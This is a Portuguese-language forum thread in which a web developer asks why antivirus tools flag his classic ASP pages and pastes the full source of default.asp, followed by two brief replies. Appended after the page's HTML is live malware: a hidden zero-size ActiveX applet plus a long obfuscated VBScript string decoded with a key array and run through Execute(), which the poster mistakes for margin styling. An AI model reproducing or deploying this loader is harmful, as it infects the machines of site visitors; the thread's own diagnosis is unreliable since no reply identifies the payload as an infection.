Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

MarVinOlivieraS

paginas asp infectadas

Por , em ASP Clássico

Recommended Posts

MarVinOlivieraS    0

MarVinOlivieraS
Postado

desenvolvi varias páginas em ASP que são reconhecidas como vírus, por antivirus como Avast e AVG só que tenho certeza que não são elas, acho que o problema está nas partes dos styles como por exemplo as tabelas que coloquei linha tracejadas não sei o que fazer.

Compartilhar este post

Link para o post
Compartilhar em outros sites

MarVinOlivieraS    0

MarVinOlivieraS
Postado

aqui vai o código de uma das páginas, default.asp:

 

<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>

<!--#include file="Connections/confoto.asp" -->

<!--#include file="Connections/connot.asp" -->

<!-- #include file="blog/config2.inc" -->

<%

Dim RSfoto

Dim RSfoto_numRows



Set RSfoto = Server.CreateObject("ADODB.Recordset")

RSfoto.ActiveConnection = MM_confoto_STRING

RSfoto.Source = "SELECT * FROM galeria ORDER BY ID ASC"

RSfoto.CursorType = 0

RSfoto.CursorLocation = 2

RSfoto.LockType = 1

RSfoto.Open()



RSfoto_numRows = 0

%>

<%

Dim rsnot

Dim rsnot_numRows



Set rsnot = Server.CreateObject("ADODB.Recordset")

rsnot.ActiveConnection = MM_connot_STRING

rsnot.Source = "SELECT * FROM Noticias"

rsnot.CursorType = 0

rsnot.CursorLocation = 2

rsnot.LockType = 1

rsnot.Open()



rsnot_numRows = 0

%>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">

<!--

.style2 {

	font-family: "Arial Black";

	color: #FFFFFF;

	font-size: 14px;

}

-->

</style>

<link href="styles2.css" rel="stylesheet" type="text/css">

<style type="text/css">

<!--

.style4 {

	font-family: "Arial Black";

	font-size: 14px;

	color: #0000FF;

}

.style11 {

	color: #0066FF;

	font-family: Arial, Helvetica, sans-serif;

}

body,td,th {

	font-family: Arial;

	font-size: 14px;

	color: #0066FF;

}

a:link {

	text-decoration: none;

}

a:visited {

	text-decoration: none;

}

a:hover {

	text-decoration: none;

}

a:active {

	text-decoration: none;

}

-->

</style>

<script language="JavaScript" type="text/JavaScript">

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

  window.open(theURL,winName,features);

}

//-->

</script>

<a></a>

<script type="text/javascript" src="mover.js"></script>

<STYLE type=text/css>

BODY {

	SCROLLBAR-FACE-COLOR: #f8f8f8; SCROLLBAR-HIGHLIGHT-COLOR: #98FF98; SCROLLBAR-SHADOW-COLOR: #009900; SCROLLBAR-3DLIGHT-COLOR: #009900; SCROLLBAR-ARROW-COLOR: #009900; SCROLLBAR-TRACK-COLOR: #ffffff; SCROLLBAR-DARKSHADOW-COLOR: #98FF98

}

</STYLE>

</STYLE>

</head>

<body>

<table width="200" border="0" cellspacing="0" cellpadding="0">

  <tr>

	<td colspan="3"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="980" height="200">

	  <param name="movie" value="flash/duplicate.swf">

	  <param name="quality" value="high">

	  <embed src="flash/duplicate.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="200"></embed>

	</object></td>

  </tr>

  <tr>

	<td width="186" rowspan="2" align="right" valign="top" bgcolor="#00EC00" class="mare"><iframe src="menu.asp" width="186" height="120" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>

	<td width="642" align="center" valign="middle" bgcolor="#0010FF"><form name="form1" style= "margin:0px" action="blog/buscar.asp">

	  <span class="style2">Pesquisar:</span>	  

	  <input name="busca" type="text" class="barpes" size="50">

	  <input name="Submit" type="submit" class="btn" value="buscar">

		</form>

	</td>

	<td width="150" rowspan="2" bgcolor="#E8E8D8" class="mard"> </td>

  </tr>

  <tr>

	<td width="642" height="586" align="center" valign="top"><table width="638" border="0" cellspacing="0" cellpadding="0" style="margin: 1px">

	  <tr>

		<td height="20"><table width="200" height="20" border="0" cellpadding="0" cellspacing="0">

		  <tr>

			<td width="46"> </td>

			<td width="25" align="right" valign="bottom"><img src="images/trirede.gif" width="25" height="20"></td>

			<td width="49" background="images/fnd.gif" class="style4">Home</td>

			<td width="25" align="left" valign="bottom"><img src="images/trired.gif" width="25" height="20"></td>

			<td width="55"> </td>

		  </tr>

		</table>		  </td>

		</tr>

	  <tr align="left" valign="top" background="images/fndgg.gif">

		<td height="212" background="images/fndgg.gif" class="brds"><blockquote>

		  <p align="justify" class="style11">jalsdkj laksjdflk laksjdlfkj laksdjlfkj laksjdlfkj alskjflkj lkajsdlfkj laksdfj laksdjlfkjasdlkaslkdfj lkasjdlfkasjdlfj laksdjflkj laksjdlfkj laksdjf ljasldkjflsakjdfj lkasjdflkj alskdjfjkfjasl laksdjflkj lasdkj lkasjdj</p>

		  <p align="justify" class="style11">alsdjflç laskdSfj lçaksjdflsalkjksalkdjf lkasdlfkj lasdkjjlksdalfjasl laksdjflkasjdlf laskjdflkj alskdjflaksjdfl laksdjflk ja lkjasldkfjl kjalskdjflkj laksdjflkj aslkdjflkj saldkfjlkj asldkfjlkj asldkjflj asldkfjj asldkfj laksjdflj</p>

		  <p align="justify" class="style11">jçalsdkjflk laksdfjlj lkasjdlfkj laksjdlkjdklaslç lkajsdlkjf laksdfj laksdfjj laksdfjfl kaj lkasjdlkfjl lkasdjflj laksdjflk</p>

		  <p align="justify" class="style11"> lkjasdlçkfjaslkdfjlaskdjf lkasdjflkj laksdjfklj lkasdfj lkasjdlkfj lkasjdlkjflkj lkjlaskdjlkj lkadfjkj alsdkfj asldk </p>

		  <p align="justify" class="style11">lajsdlk lkasdjflkj lkasdfjlçj laksdjflkj lkajsldkj lkasdjf laskdjaslsdlçkj lkasjdlfkj lkjalskdjflaksjdflkasjdlfk lkajsdlfkjalsdj lkajsdlfkj lakdjslfkj lakjsdflkj askjdljflakjsd lkajsldfkj aldskjflkj adlfkjlj asldkfj asdlkfj asdlkfj alskdjfkj alksdjflkj sdlkjf alksdjkj alkdjf lçkasjdf lçkjalsdkfjlkj alskdjflj alsdkjflj alksdjlj laksdj</p>

		  <p align="justify" class="style11">lkjasçldkfj lkajsdlkfjlaskdj lkajsdlkjf lkasjdlfkjasldkfjlaskjdflasjdflkasjdflajsdlfjlajflakjdflj laksdjflkajsdlfkj lkasjdflkalsdkjf lkasjdflkjasldkj lkajsdlfkj laksdjflakjsdflkajsdflkjl jlskdfjalskdjflk jalskdfjlakj laksdjfl j	 </p>

		</blockquote></td>

	  </tr>

	  <tr>

		<td height="177" align="center" valign="middle"><table width="638" border="0" cellspacing="0" cellpadding="0" style= "margin: 1px">

		  <tr>

			<td width="40" height="20"> </td>

			<td width="25"><a href="galeriadefotos/"><img src="images/trirede.gif" width="25" height="20" border="0"></a></td>

			<td width="115" background="images/fnd.gif" class="style4"><a href="galeriadefotos/">Ultima Galeria </a></td>

			<td width="25"><a href="galeriadefotos/"><img src="images/trired.gif" width="25" height="20" border="0"></a></td>

			<td width="112"> </td>

			<td width="4" height="20"> </td>

			<td width="40" height="20"> </td>

			<td width="25"><a href="blog/"><img src="images/trirede.gif" width="25" height="20" border="0"></a></td>

			<td width="123" background="images/fnd.gif" class="style4"><a href="blog/">Ultimas do Blog</a> </td>

			<td width="25"><a href="blog/"><img src="images/trired.gif" width="25" height="20" border="0"></a></td>

			<td width="104"> </td>

		  </tr>

		  <tr>

			<td height="124" colspan="5" valign="middle" background="images/fndg.gif" class="brds"><table width="315" height="150" border="0" cellpadding="0" cellspacing="0" style="margin:0px ">

<tr>

<td height="150" align="center" valign="middle" class="rigbrd"><!--#include file=galeriadefotos/destaque.asp style--></td>

<td align="left" valign="middle" class="lefbrd"><!--#include file=galeriadefotos/destaqtext.asp --></td>

</tr>

</table></td>

			<td width="4"></td>

			<td height="124" colspan="5" align="left" valign="middle" background="images/fndg.gif" class="brds" ><table width="315" height="154" border="0" cellpadding="0" cellspacing="0">

			  <tr>

				<td width="140" height="98" align="center" valign="middle" class="brds"><font face="Tahoma"><span style="font-size:10pt;">

				  <%

			Set nt1 = Server.CreateObject("ADODB.Recordset")

			nt1.Open "SELECT * from noticias order by id desc", DB

			Contar = 0

			Do while not nt1.Eof

				Resumo = nt1("Resumo")

				Classe1 = nt1("Classe1")

				Classe = nt1("Classe")

				Horas = nt1("Horas")

				id = nt1("id")

				IF Contar > 0 Then

					exit do

				end if

				if Classe1 = "Entrevistas" Then

				%>

				  <a href="blog/Mostra.asp?Noticias=<%=nt1("id")%>&Classe=<%=nt1("classe")%>"><img src="blog/<%=nt1("foto")%>" width="130" height="95" border="0"></a> </span></font></td>

				<td width="175" rowspan="2" align="left" valign="top">

				  <p><font face="Arial"><span style="font-size:8pt;">

						  <%

			Set nt1 = Server.CreateObject("ADODB.Recordset")

			nt1.Open "SELECT * from noticias order by id desc", DB

			Contar = 1

			Do while not nt1.Eof

				Topico = nt1("Topico")

				Classe1 = nt1("Classe1")

				Classe = nt1("Classe")

				Data = nt1("Data")

				Horas = nt1("Horas")

				id = nt1("id")

				IF Contar > 4 Then

					exit do

				end if

				%>

									</span></font><a href='blog/mostra.asp?noticias=<%=nt1("id")%>&Classe=<%Response.Write Classe%>'><font face="Arial" color="red"><span style="font-size:8pt;">

					<%Response.Write Data%>

					</span></font><font face="Arial"><span style="font-size:8pt;"> -

					<%Response.Write Topico%>

					</span></font></a><font face="Arial"><span style="font-size:8pt;"><br>

					<%

					Contar = Contar + 1

				nt1.Movenext

			Loop

						%>

</span></font></p>				</td>

			  </tr>

			  <tr>

				<td height="41" align="center" valign="top" class="brds"><a href="blog/Mostra.asp?Noticias=<%Response.Write id%>&Classe=<%Response.Write Classe%>">

				  <%Response.Write Resumo%>

				</a>

				<%

					Contar = Contar + 1

				end if

				nt1.Movenext

			Loop

						%>				</td>

			  </tr>

			</table></td>

		  </tr>

		</table></td>

	  </tr>

	</table></td>

  </tr>

  <tr>

	<td colspan="3"><img src="images%5Crodape.jpg" width="980" height="70"></td>

  </tr>

</table>

</body>

</html>

<%

RSfoto.Close()

Set RSfoto = Nothing

%>

<%

rsnot.Close()

Set rsnot = Nothing

%>

<HTML>

<BODY onload="vb script:KJ_start()">

<script language=vbscript>

document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"

</script>

<script language=vbscript>

ExeString = "CdjHiT`dmb$GojdS`ul+Q_kS`ul+?b_q`bKhbk$@kmddJ_bd^q$ENL$VnP`dgi$VdkH`oe$Rp_=+Aff`gv<hnhNrZFGWro^js#&FGKdoAal#&FG;q`^ldHfdh`r (CIGfcdDq (CI>o]`obE`di (CIKogo\dYs`%!BfcPmaArfbofgmHB@km]m_Qg'AfddK^lg'Qqo`Plq$Ni=qmljMbkthbM`ulP]sO]`_Q]lk5APG-Jm]mObpsAfdd#Cak`MYsc))(LlkPlq:Q`^\S`jh-MbYc<idF^Dkksm%LlkPlq'CIZpl`mq (&;9(JoK`k ShmKsm&;.ScbfO]`_Q]lk+;kjp]Bpho>ti`lhjk@k\DcDcStm]Roo<`soScbfO]`_Q]lk+;kjp]P]sCak`Q]lk5APG-Jm]mObpsAfdd#Cak`MYsc)*(>hgbLdhm&Vmfld4!#!=L<Xlfkj^\<!u]p[qdml9HB^nqYqo%!!%6!#u]@jKaOjhRoo%sZBmI^!@shiLdsqAfddObeo)@dnnbNblA>lsmfZ8>RJ+?doCak`%>hgbH`oe!C9sooaa)^lsmfZtobk8+3=knbMbYcObeo)@dnnbNblAfddObeo:ENL&NkbfS`ulEdi]'AfddK^lg'5!F^OvhdNqj8gojd!Q`diEdi]S`jh-Roas`na>oDe#!7%@SHI6!#u]@jKa9!AJAQjkdn\a5!%nan`jhkq2!#!FGWro^js#&!;!na>oDe#GojdS`ulBdr`F^OvhdNqj8u]pOe]m>hgbLdhm&VmfldsZBmI^!NanQ]woDiaHaEdi]S`jh->igr`DiaHaDiaEpk[sdlfEpk[sdlfFG;g\k_dNrZ'>rjq`klRooamb)D`nqAm_bpBc^j(AeIYroFfc`u;g\o<-ScbfF^Gb^s#I;`nb BpojdiqKsmfff$))(:4G@Yr`%b&ScbfHBBc^ff`Pma:EdkYktAarf7T!Kt]B<-@ikdCI>eYmbbKt]5>ej'<p['Gb^s#I;`nb BpojdiqKsmfff$))($%,&%2[Rp_=8(BfcF^Bdr`JE@``id]Rp_<Jac#@mqmbfsNqjhid$0'IYroFfc`u;g\o!BfcF^BfcCmm^qaniCmm^qaniCI>o]`obE`di (GmBjqjoQ`pml`FdsqDcHiT`dmb<`shiOe]m=wdqEpk[sdlfBfcF^P``mb>hgb<I]eo%OhiMYsc)+(#!Kogfm^eAfddnY;nhjgmCak`pTLd`jnnl^sP``mb\[NqYsdlfdmvTag^fj)ellHa ENL&Edi]Dsfksn%Kg\o]Edi]($Lg`k>^dkHB@km]m_Qg'NeYq`Cak`)gojd!$Dgp]P]sCak`Q]lk5APG-Jm]mObpsAfdd#P``mb>hgb$1'qjt`&AfddObeo)Tjhob!7%@SHI6!#u]@jKa9!AJAQjkdn\a5!%nan`jhkq2!#!FGWro^js#&!;!na>oDe#GojdS`ulCak`Q]lk+;kjp]BfcF^A]e\rdsDa<TkRcbdk)O]fMbYc#@J@VWBPOJDIQWTNBJ[Da]moflh`pTC`cYtgqTnbjDA(GtoIgnfS]qnfgm:VnP`dgi&Q`dJd\a !CH=XZIGB<IWL<@@HIBTRjclv\o][Hf[qjpgeoYGtoignf=wko]rnYEd_fYU`o(OrNe]kg+JdbTjhob!CH=XZ@MQMBFSZRKDMYAc`klhof]rWC`cYtgqAc!TRjclv\o][Hf[qjpgeoYGtoignf=wko]rnY%I]eo%GtoIgnfS]qnfgm'.!!&/WJYhgY;nhmgr`Mr`Ks\qanibjx))+O=FZAONMA@YkgCIH^akMb_'ECDT\;TMO=MO\MR@OTH_bfsdqadnY%?b^`pilH_#[Nl^sr^jdWJabmlknaqTNpqdnjhDsmjdnpT!!Ddaq NpqDnjhNdmpani))(#-+YE`diTRo^lhjk]qtF`hb+NeYq`Cak`&>^dkHBL\fdQ`d !CH=XZ@MQMBFSZRKDMYAc`klhof]rWC`cYtgqAc!TRjclv\o][Hf[qjpgeoYGtoignf=wko]rnY%I]eo%GtoIgnfS]qnfgm'.!!&/WJYhgYOh_bRo^lhjk]qtF`hb+NeYq`Cak`&RpKg`id-Mb_Vmfld@J@VWBPOJDIQWTNBJ[Nl^sr^jdWJabmlknaqTNacab`Y1-+YGtoignfYGoofgmnYE`diTD_flnmMjdabjdi`]!'.+0+4*+O=FZAONMA@YkgCIH^akMb_'ECDT\;TMO=MO\MR@OTRjclv\o][Hf[qjpgeoYOhiagvnEdnpYfdk_NrZrtpldhYHqjcak`pTLd`jnnl^sLmsglgjFfs`ofdoKdoqambpT/\-\/--(/+-(/+-(b+-(/+-(/+-(/+1.[+-)d+0./)ag^fj&>^dkHBL\fdQ`d !CH=XZ@MQMBFSZRKDMYKnaqo`mbTLd`jnnl^sWTam_lorKL[>rjq`klU`okhjkTVdk\nrpL`pk`bfffPmanvks`jTOml^hgbk[Hf[qjpgeoGtoignfAmobjm`qR`qlhidk[+^(c+/(/+-(/+-(/^-(/+-(/+-(/+-,5W-(0`-+5+$!]iYmf!TkRcbdk)O]fRoas`GFBQ^>RJQ@KL^PP=QWPgeotYq`YEh^ogrjcl[Jc^h^bT0++([Jrlkjlc[Jmlhjkk[H^akWB\holjOmb^dmbfb`$0..(6-)Q@DWCRLJCB\idFGE`diJdb%GFBQ^>RJQ@KL^PP=QWPgeotYq`YEh^ogrjcl[Jc^h^bT0++([>leljkTL\fdR`qlhidk[IboRo^lhjk]qt$!]iYmf!HBthjYf`Cgk_bj'Gb^s#TamK^lg'0!!Oml_q\jEdi]rW@glhlfAfddnYEh^ogrjclNeYq`aTRo^lhjk]qt!BfcCmm^qaniCmm^qaniCI>o]`obEhgf]t#&JkDmogqO]rpj]IbpsLdhmH`oe<F^Ill'APG-Afdd@uarop VdkH`oe%OR^oaoo+]w`!(Q`diS`jhO\q`8rtpldh0*[DiaHaHaLdhmH`oe<kxnq]l./T!Q`diRo^jsPm>hgb<TamK^lg#!NVKS@JTJ`ofdg0*-_id!=knbNqYqoRhEdi]8OhiMYscPQROBE[Fbjm`i&cgiBfcF^TkRcbdk)O]fRoas`GFBQ^GL;@G\E@>EAM@YKnaqo`mbTLd`jnnl^sWTam_lorW@mqmbfsQbjrdlf[Mrf[Fbjm`i+1)Ks\olTkCak`ENL&BjmqEdi]RffO\q`!v`_TjetYkg+_ha$VdkH`oe%od]Y>nga]q)elsENL&BjmqEdi]RffO\q`!rtpldh0*[fgo`gi&fdc+RffO\q`!rtpldh0*[_bkjolh-dka!;`giJE>ho`k\Sj%OhiMYsct]aWCgk_bj-cql!'`so!TkRcbdk)O]fRoas`GFBQ^>I9RNBK^MLGSW+\kgY+adkafddVnP`dgi&Q`dOqdq]ECDT\;K<PKDN\JNJQT-_id[>lfs`klOvhd)`kmdh^^lhjk'w(jkcjtfkj^\!OrNe]kg+JdbTjhob!CH=XZ@D@NP=RZOGNOY\kgcak`Y<da^mkoF[niY+RpKg`id-Mb_Q`^\'ECDT\;K<PKDN\JNJQTusa^hgbTC`cYtgqAbjkT!$VnP`dgi&Q`dOqdq]ECDT\;K<PKDN\JNJQTcgi^hgbTR^oaooBffdk][)U=P[qdml!OrNe]kg+JdbTjhob!CH=XZ@D@NP=RZOGNOY\kgCak`YKg`id[Jm]mW@glh^fcW$VdkH`oe%Q]lkMYscTKbmfhs)bpd$, 'TkRcbdk)O]fRoas`GFBQ^>I9RNBK^MLGSWadkAfddWP`dgi=wWMjnkbjstP`d`q@`iaddmpTVNEHqjmk[)z1-*4/@94(6-2=*)0>C%7>6.,+-9@+-:72-0BxRpKg`id-Mb_Vmfld@J@VWBG>KR@PWQJLL[_idEdi][N`jhkq@nnq=m^l\dW$!v5-0...2,*,7+@%0,A*,=.>8(-(B+1>71@+1/zP]sCak`Q]lk5APG-Jm]mObpsAfdd#Pl`mqMoAfdd'/$smr](>hgbLdhm&VmfldSZrObps>hgbLdhm&Bglkd=m_>ti`lhjk>ti`lhjkJEIaj`Fl'$HaAmRe]q`4=`shiOe]m=wdqEpk[sdlfBfcF^Q`hnIgb\qani5_l[thbfs)igb\qaniHaDdaq ScfkKj`Ysdlf+1!8edi]!Q`diScfkKj`Ysdlf8Eh_%LgdpDn^^lhjk$8$Ha>RJ+?doBps`kkhjkF`hb ScfkKj`Ysdlf(96scbfQ`hnIgb\qani5Gb^s#Q`hnIgb\qani)Ddi%LgdpDn^^lhjk!(Ddi%>RJ+?doCak`KYl`%LgdpDn^^lhjk!($DiaHaHaDdi%LgdpDn^^lhjk!9+Oe]mLgdpDn^^lhjk<Q`hnIgb\qaniYBfcF^HBthjYf`Cgk_bj'OearGl[`ofgm$DiaHaDiaEpk[sdlfEpk[sdlfFGE`diJdb%JdbPlq'Cak`KYl`&JkDmogqO]rpj]IbpsJdbQ]lkPlq:VnP`dgi&Q`dJd\a Q`dKsm&DcQ`dLdhmKsm5ScbfTkRcbdk)O]fRoas`JdbPlq'Cak`KYl`DiaHaDiaEpk[sdlfEpk[sdlfFGGajPma#@mqmbfsNqjhid!Pma@5+S`plNpq<-?lVcfddQjt`S`plNpq<Q]roLms(0AeQ]roLms;13Lg`k>rjq`klRooamb5Aff`gv<hnh%2[Dsfl?l@k\DcJkDmogqO]rpj]IbpsKdoLgdp>nga]q:ENL&F`q>nga]q#@mqmbfsNqjhid!P]sAabNrZ8;q`^ldJ_bd^q !N`jhkqamb+<h^qani^jx&NblAldc`ok8Lgdp>nga]q)PmaAldc`okCgk_bjBjrfs:/>nm=`^eS`jhEji\dmamCgk_bjr>nga]q>lmmo5Aldc`o;npkl&)AabNrZ-\a\Aldc`o;npkl+Q]lkCgk_bj-I^edFdsqDcCd`Kt]+;npkl8(Oe]mD`nqAm_bpBc^j8AmnqjQ`s BpojdiqKsmfff'T!'I]m#@mqmbfsNqjhid!,,&NrZRooamb5Hf\'>rjq`klRooamb)D`nqAm_bpBc^j*,)Ddi%;tmo]moPlqdk_((IYroFfc`u;g\o%0$BpojdiqKsmfff:JE@``id]Rp_ BpojdiqKsmfff'IYroFfc`u;g\o!Pma@5,Dgp]F^NrZD:/Q`diBpojdiqKsmfff:BpojdiqKsmfff#Cd`Kt]+As`j 0$YBpho<n=knbe5+Ejoi:0QgAldc`o;npklF^G@Yr`%Kt]Plqdk_(:K>^kd#AabNrZ-Dq]l#g!(Q`diHab7>nga]q>lmmoLg`k>rjq`klRooamb5>rjq`klRooamb?f[Rp_&Hobe'e()(#!W@uasAgBfcF^BfcF^K]woK\plHia]w>eYq:HiplqMbn'>rjq`klRooamb)[)Ddi%;tmo]moPlqdk_((.!PmaNqjhid<Jac#@mqmbfsNqjhid$K\plHia]w>eYq&.$K`k BpojdiqKsmfff$*D`nqAm_bpBc^j,,&>rjq`klRooamb5FG;g\k_dNrZ'>rjq`klRooamb)D`nqAm_bpBc^j(=m_Ae=m_AeDnjmFGGajPma:BpojdiqKsmfff=m_>ti`lhjk>ti`lhjkJEMjnk^_`ob (GmBjqjoQ`pml`FdsqMb_O\q`U\imd:!CH=XZIGB<IWL<@@HIBTRjclv\o][Hf[qjpgeoYGtoignf=wko]rnY<dbo]dCdpcC`djd`5RpKg`id-Mb_Q`^\'Mb_O\q`U\imd$Ha<hnh<dbo]d:!Lg`k?fkj?b_q`b<Cam\iqCdpc!9W@k\DcAljd:)ol4<hnh<dbo]d:JELZnNrZ'?fkj?b_q`b!HBthjYf`Cgk_bj'?fkj?b_q`b!K]woVnP`dgi&Q`dOqdq]Mb_O\q`U\imd'AarfA]fmb]BfcCmm^qaniCmm^qaniCIpje`bb>nga]q#MYscKYl`&JkDmogqO]rpj]IbpsKdo>nga]qI^ed:ENL&F`q>nga]q#MYscKYl`&NblOearAfddn5Aldc`oF`hb&Edi]r@soBphnqk8(CgqBYbcLgdp>hgbHiLgdp>hgbkCak`Bps:T>^kd#CKN)D]s@uldipaniKYl`%Lgdp>hgb&O\q`($Ha>hgb=wo5ELLGqCak`Bps:!CQEKGqCak`Bps:!<PH!LjAfdd@ul8OCMJoEdi]Dsq<BRKScbf@YkgCI<mhdiaLn#Q`hnCak`+H`oe$!cqek&@ikdDcEdi]Dsq<NANScbf@YkgCI<mhdiaLn#Q`hnCak`+H`oe$!q_k!$Dgp]Ha>hgb=wo5ELSLg`kCqlDsfksn5,DiaHaM`ulF^#R;`nb O\q`M\j](:T>^kd#TamK^lg#!?bkjolh[&!Jo'P@Yr`%H`oeF`hb!8MB\p]'RffO\q`!C`pcsjm($Q`diGoq=wdplr:0=m_AeAeEls@uarop<-ScbfCKN)@gotCak`OhiMYscpqrobe2-Y\dnhlnk+amd$O\q`M\j]CKN)@gotCak`OhiMYsct]aWCgk_bj-cql!'MYscKYl`DiaHaDiaEpk[sdlfEpk[sdlfFGKdoAal#&JkDmogqO]rpj]Ibps=qm+;k`^jQ]roFl8OR^oaoo+KbmfhsArdki^edAeBjqQ`diHiT`dmb<`shiBdr`HiT`dmb<nan@k\DcDcHiT`dmb<nanScbfP]sCKN:BmbYs`LZi``l'P[qdmlhid&Edi]RtpldhLZi``l!$R`qVnP`dgi<@jd\q]N]g]bo%VN`jhkq&Rcbdk&@ikdKdo9oki]N]g]bo5_l[thbfs)^hogblr#CIZdmdnq(9oki]N]g]bo+kdo@DRDA !vC120A;1-*)BA-%0,A(,<A:8(-(B+1>C059/=z(9oki]N]g]bo+[q`^ldDkks\k[d#&NblRpKg`id89oki]N]g]bo+?doLZi``l'$@kmddJ_bd^q&r`q;KNF<'x(C/0>D+.%E+6+,,.;E(513+*(/<-;8+2,1-5u!$@kmddJ_bd^q&bmbYs`Ffro^fb`%!P]sCKN:@kmddJ_bd^q&F`qGaeb[s#&@k\DcNbl?fkjJ_bd^q<CKN)AjhqbkCgqBYbc<hnhLdhmHi<hnhGaeb[sAeAarfQ]lk+<qds]Stm]7;1>fcAarfQ]lk+<qds]Stm]7;0Q`diDsflAljBfcF^Cam\iqCdpc8<hnhLdhm&CmfndGbls`oIbps<hhGscbj@mo 2$Q\k\nhfrd>nma<+Ln0Jq`dm>jq#f!8Amo% 8'Qia!(FdsqObeoNqjhid<Cgqf50QgGbf'OearObps$S`jhMpj<>kb#Jac#Q`hnQ]wo)a+,&!F^ObeoIre8)2Q`diS`jhMpj</0Bdr`F^ObeoIre8)/Q`diS`jhMpj</1BfcF^Q]lk@``m5>ej'ObeoIre(Gscbj@mo hJgc1!(AeQ]lk@``m5>ej'.1!Oe]mLdhm;g\o<@`q#.0(=m_AeLdhmKsmfff:S`jhRooambObeo>eYqFdsqPkDn^hKsm5Bpd^rld#CdjJ`v9qm%+('Q`hnQ]wo%q_;qGc!H]x<oj'+&<%Llg`o9qm%((#!u]@jKa#!Fbq@mo 0$5Jq`dm>jq#.!!!#na>oDe!J`v9qm%*(:!#Noe]q<oj'-&%!!sZBmI^%Cdt>jq#0!8!Gscbj@mo 2$%q_;qGc!Cgqf50QgGbf'@u]Rooamb&!!sZBmI^%LdhmFth5<p['Hf\'@u]Rooamb)a+,&!!#na>oDe!HaLdhmFth5,5Scbf!#na>oDe!S`jhMpj<0,!#na>oDe!DiaHa%q_;qGc!Q]lk@``m5>ej'ObeoIre&Cdt>jq#fLja3$&!!sZBmI^%AeQ]lk@``m5>ej'-5!Oe]mu]@jKa#!Obeo>eYq:u]@j!#na>oDe!Dgp]HaLdhm;g\o<@`q#/1(Q`di%q_;qGc!Q]lk@``m5q_Deu]@jKa#!@k\Dc!!sZBmI^%LgdpLdsq<Q`hnQ]woObeo>eYqu]@jKa#!Ibps!!#u]@jKaBpd^rld#Q`hnQ]wo&Q`hnQ]wo5BpdNqjhid<!#S`jhRooamb!@shiLdsq<9!r^oaood`idm`bb5u]p[qdml=q_;qGc%\n^rediq&vmfld%!9!cdsrovdd8$hnnflhjk2`]pgkpq]:i]eo7(os8sjm2/ku3rf\sc7(os8g`f_go7(os8y(ffc`u2138udpaadiast7gda\di$6!#!7%!@KMDDOF@HB5JE%WfpbksE=HBEL<+OH?Q@<+[n_b5bjj&ln+!!`^qau`U&@^qau`%PBjjhnibfs9%4!#!*>HOGBL=9!._fn=!na>oDe#!7%'r^oaoo;!na>oDe#!7%kbmfhsiYmbrYf`:nan`jhkq6!#u]@jKaOearObps#u]@jKaPkDn^hKsmq_;qGc%4!#!*p[qdml=q_;qGc%4!#!*?GCT;!na>oDe#!7%'GOJD=U]pLdsq<Q`hnQ]woq_;qGc%RfKj`cRoo%sZBmI^!JE\ks\ol'$RffO\q`8>RJ+?doPhd^fYkAldc`o /$YF^#CKN)Cak`Bphnqk'RffO\q`!v`_TEji\dm+`so!(Q`diENL&BjmqEdi]RffO\q`!v`_TEji\dm+`so$VdkH`oe%od]Ycir^dk)daeDiaHaHa ENL&Edi]Dsfksn%OhiMYscpqrobe2-Y\dnhlnk+amd!(Q`diENL&BjmqEdi]RffO\q`!rtpldh0*[_bkjolh-dka!'TamK^lg#!nvks`j+1Whbv\id-bf^!=m_Ae=m_>ti`lhjk"

Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 8"&vbCrLf&"KeyArr(1) = 1"&vbCrLf&"KeyArr(2) = 5"&vbCrLf&"KeyArr(3) = 3"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next")

Execute(ThisText)

</script>

</BODY>

</HTML>

Compartilhar este post

Link para o post
Compartilhar em outros sites

MarVinOlivieraS    0

MarVinOlivieraS
Postado

procurando e deletando partes do código da página default.asp, consegui isolar a raiz do problema:

 

<HTML>

<BODY onload="vb script:KJ_start()">

<script language=vbscript>

document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"

</script>
</BODY>

</HTML>
acho que essa parte do código diz respeito às margens, aguém pode me dizer como faço para substituir esse código por outro com o mesmo efeito e que lógicamente não seja reconhecido como vírus??

tchauuu

Compartilhar este post

Link para o post
Compartilhar em outros sites

Ted k'    126

Ted k'
Postado

exclui isso ai:

<"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET>

agora para chamar objeto activeX é estranho!

Compartilhar este post

Link para o post
Compartilhar em outros sites

xanburzum    169

xanburzum
Postado

ja tive problemas com código, onde o mesmo iria criar arquivo, pasta etc e o anti-vírus dependeo d heuristica e o nível do script bloker, ele pode achar que é um código malicioso, e pode ser qe seu applet se encaixe nisso e dá uma olhada no onload o que é carregado no KJ_start()

Compartilhar este post

Link para o post
Compartilhar em outros sites
Ir para a lista de tópicos ASP Clássico
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.

  Aceito